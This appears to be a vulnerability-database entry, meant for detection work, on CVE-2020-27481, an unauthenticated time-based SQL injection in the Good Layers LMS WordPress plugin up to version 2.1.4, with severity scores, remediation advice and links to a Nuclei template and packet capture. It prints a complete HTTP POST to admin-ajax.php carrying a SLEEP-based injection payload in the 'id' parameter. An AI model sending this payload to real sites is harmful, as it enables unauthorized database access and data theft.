🔙 목록으로 돌아가기

CVE-2020-27481: Good Layers LMS Plugin <= 2.1.4 - SQL Injection

TitleGood Layers LMS Plugin <= 2.1.4 - SQL Injection
Authoredoardottt
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.51483
CVE IDCVE-2020-27481
CWE IDCWE-89
Tags time-based-sqli cve cve2020 goodlayerslms sqli wpscan goodlayers wordpress vkev vuln

🔍 Vulnerability Description

An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of “wp_ajax_nopriv” call in WordPress, which allows any unauthenticated user to get access to the function “gdlr_lms_cancel_booking” where POST Parameter “id” was sent straight into SQL query without sanitization.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27481.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-27481.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A